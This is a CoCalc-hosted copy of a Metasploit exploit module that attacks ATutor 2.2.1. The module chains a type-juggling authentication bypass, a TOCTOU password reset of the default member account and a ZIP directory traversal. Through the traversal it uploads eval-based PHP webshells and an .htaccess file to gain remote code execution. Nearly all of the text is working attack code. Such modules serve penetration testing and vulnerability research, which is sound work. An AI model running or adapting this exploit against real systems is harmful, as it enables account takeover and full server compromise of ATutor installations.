Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/atutor_filemanager_traversal.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
17
'Description' => %q{
18
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
19
setup with display_errors set to On, which can be used to allow us to upload a malicious
20
ZIP file. On the web application, a blacklist verification is performed before extraction,
21
however it is not sufficient to prevent exploitation.
22
23
You are required to login to the target to reach the vulnerability, however this can be
24
done as a student account and remote registration is enabled by default.
25
26
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
27
in order to bypass the authentication:
28
29
1. confirm.php Authentication Bypass Type Juggling vulnerability
30
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
35
],
36
'References' => [
37
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
38
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
39
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
40
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
41
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
42
],
43
'Privileged' => false,
44
'Payload' => {
45
'DisableNops' => true
46
},
47
'Platform' => ['php'],
48
'Arch' => ARCH_PHP,
49
'Targets' => [[ 'Automatic', {}]],
50
'DisclosureDate' => '2016-03-01',
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
60
register_options(
61
[
62
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
63
OptString.new('USERNAME', [false, 'The username to authenticate as']),
64
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
65
]
66
)
67
end
68
69
def post_auth?
70
true
71
end
72
73
def print_status(msg = '')
74
super("#{peer} - #{msg}")
75
end
76
77
def print_error(msg = '')
78
super("#{peer} - #{msg}")
79
end
80
81
def print_good(msg = '')
82
super("#{peer} - #{msg}")
83
end
84
85
def check
86
# there is no real way to finger print the target so we just
87
# check if we can upload a zip and extract it into the web root...
88
# obviously not ideal, but if anyone knows better, feel free to change
89
unless datastore['USERNAME'] && datastore['PASSWORD']
90
# if we cant login, it may still be vuln
91
return Exploit::CheckCode::Unknown 'Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.'
92
end
93
94
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)
95
if !student_cookie.nil? && disclose_web_root
96
begin
97
if upload_shell(student_cookie, check = true) && found
98
return Exploit::CheckCode::Vulnerable
99
end
100
rescue Msf::Exploit::Failed => e
101
vprint_error(e.message)
102
end
103
end
104
return Exploit::CheckCode::Unknown
105
end
106
107
def create_zip_file(check = false)
108
zip_file = Rex::Zip::Archive.new
109
@header = Rex::Text.rand_text_alpha_upper(4)
110
@payload_name = Rex::Text.rand_text_alpha_lower(4)
111
@archive_name = Rex::Text.rand_text_alpha_lower(3)
112
@test_string = Rex::Text.rand_text_alpha_lower(8)
113
# we traverse back into the webroot mods/ directory (since it will be writable)
114
path = "../../../../../../../../../../../../..#{@webroot}mods/"
115
116
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
117
# we will win. If not, we may still win because these file extensions are often registered as php
118
# with the webserver, thus allowing us remote code execution.
119
if check
120
zip_file.add_file("#{path}#{@payload_name}.txt", @test_string.to_s)
121
else
122
register_file_for_cleanup('.htaccess', "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
123
zip_file.add_file("#{path}.htaccess", 'AddType application/x-httpd-php .phtml .php4 .pht')
124
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
125
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
126
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
127
end
128
zip_file.pack
129
end
130
131
def found
132
res = send_request_cgi({
133
'method' => 'GET',
134
'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.txt")
135
})
136
if res && (res.code == 200) && res.body =~ /#{@test_string}/
137
return true
138
end
139
140
return false
141
end
142
143
def disclose_web_root
144
res = send_request_cgi({
145
'method' => 'GET',
146
'uri' => normalize_uri(target_uri.path, 'jscripts', 'ATutor_js.php')
147
})
148
@webroot = '/'
149
@webroot << Regexp.last_match(1) if res && res.body =~ %r{\<b\>/(.*)jscripts/ATutor_js\.php\</b\> }
150
if @webroot != '/'
151
return true
152
end
153
154
return false
155
end
156
157
def call_php(ext)
158
res = send_request_cgi({
159
'method' => 'GET',
160
'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.#{ext}"),
161
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
162
}, timeout = 0.1)
163
return res
164
end
165
166
def exec_code
167
res = call_php('pht')
168
unless res
169
res = call_php('phtml')
170
unless res
171
call_php('php4')
172
end
173
end
174
end
175
176
def upload_shell(cookie, check)
177
post_data = Rex::MIME::Message.new
178
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
179
post_data.add_part(Rex::Text.rand_text_alpha_upper(4).to_s, nil, nil, 'form-data; name="submit_import"')
180
data = post_data.to_s
181
res = send_request_cgi({
182
'uri' => normalize_uri(target_uri.path, 'mods', '_standard', 'tests', 'question_import.php'),
183
'method' => 'POST',
184
'data' => data,
185
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
186
'cookie' => cookie,
187
'vars_get' => {
188
'h' => ''
189
}
190
})
191
if res && res.code == 302 && res.redirection.to_s.include?('question_db.php')
192
return true
193
end
194
195
# unknown failure...
196
fail_with(Failure::Unknown, 'Unable to upload php code')
197
return false
198
end
199
200
def find_user(cookie)
201
res = send_request_cgi({
202
'method' => 'GET',
203
'uri' => normalize_uri(target_uri.path, 'users', 'profile.php'),
204
'cookie' => cookie,
205
# we need to set the agent to the same value that was in type_juggle,
206
# since the bypassed session is linked to the user-agent. We can then
207
# use that session to leak the username
208
'agent' => ''
209
})
210
username = Regexp.last_match(1).to_s if res && res.body =~ %r{<span id="login">(.*)</span>}
211
if username
212
return username
213
end
214
215
# else we fail, because we dont know the username to login as
216
fail_with(Failure::Unknown, 'Unable to find the username!')
217
end
218
219
def type_juggle
220
# high padding, means higher success rate
221
# also, we use numbers, so we can count requests :p
222
for i in 1..8
223
for @number in ('0' * i..'9' * i)
224
res = send_request_cgi({
225
'method' => 'POST',
226
'uri' => normalize_uri(target_uri.path, 'confirm.php'),
227
'vars_post' => {
228
'auto_login' => '',
229
'code' => '0' # type juggling
230
},
231
'vars_get' => {
232
'e' => @number, # the bruteforce
233
'id' => '',
234
'm' => '',
235
# the default install script creates a member
236
# so we know for sure, that it will be 1
237
'member_id' => '1'
238
},
239
# need to set the agent, since we are creating x number of sessions
240
# and then using that session to get leak the username
241
'agent' => ''
242
}, redirect_depth = 0) # to validate a successful bypass
243
if res && (res.code == 302)
244
cookie = "ATutorID=#{Regexp.last_match(3)};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
245
return cookie
246
end
247
end
248
end
249
# if we finish the loop and have no sauce, we cant make pasta
250
fail_with(Failure::Unknown, 'Unable to exploit the type juggle and bypass authentication')
251
end
252
253
def reset_password
254
# this is due to line 79 of password_reminder.php
255
days = (Time.now.to_i / 60 / 60 / 24)
256
# make a semi strong password, we have to encourage security now :->
257
pass = Rex::Text.rand_text_alpha(32)
258
hash = Rex::Text.sha1(pass)
259
res = send_request_cgi({
260
'method' => 'POST',
261
'uri' => normalize_uri(target_uri.path, 'password_reminder.php'),
262
'vars_post' => {
263
'form_change' => 'true',
264
# the default install script creates a member
265
# so we know for sure, that it will be 1
266
'id' => '1',
267
'g' => days + 1, # needs to be > the number of days since epoch
268
'h' => '', # not even checked!
269
'form_password_hidden' => hash, # remotely reset the password
270
'submit' => 'Submit'
271
}
272
}, redirect_depth = 0) # to validate a successful bypass
273
274
if res && (res.code == 302)
275
return pass
276
end
277
278
# if we land here, the TOCTOU failed us
279
fail_with(Failure::Unknown, 'Unable to exploit the TOCTOU and reset the password')
280
end
281
282
def login(username, password, check = false)
283
hash = Rex::Text.sha1(Rex::Text.sha1(password))
284
res = send_request_cgi({
285
'method' => 'POST',
286
'uri' => normalize_uri(target_uri.path, 'login.php'),
287
'vars_post' => {
288
'form_password_hidden' => hash,
289
'form_login' => username,
290
'submit' => 'Login',
291
'token' => ''
292
}
293
})
294
# poor php developer practices
295
cookie = "ATutorID=#{Regexp.last_match(4)};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
296
if res && res.code == 302
297
if res.redirection.to_s.include?('bounce.php?course=0')
298
return cookie
299
end
300
end
301
# auth failed if we land here, bail
302
unless check
303
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
304
end
305
return nil
306
end
307
308
def exploit
309
# login if needed
310
if datastore['USERNAME'] && datastore['PASSWORD']
311
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
312
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
313
print_good("Logged in as #{datastore['USERNAME']}")
314
# else, we reset the students password via a type juggle vulnerability
315
else
316
print_status('Account details are not set, bypassing authentication...')
317
print_status('Triggering type juggle attack...')
318
student_cookie = type_juggle
319
print_good("Successfully bypassed the authentication in #{@number} requests !")
320
username = find_user(student_cookie)
321
print_good("Found the username: #{username} !")
322
password = reset_password
323
print_good("Successfully reset the #{username}'s account password to #{password} !")
324
report_cred(user: username, password: password)
325
student_cookie = login(username, password)
326
print_good("Logged in as #{username}")
327
end
328
329
if disclose_web_root
330
print_good('Found the webroot')
331
# we got everything. Now onto pwnage
332
if upload_shell(student_cookie, false)
333
print_good('Zip upload successful !')
334
exec_code
335
end
336
end
337
end
338
end
339
340
def service_details
341
super.merge({ post_reference_name: refname })
342
end
343
344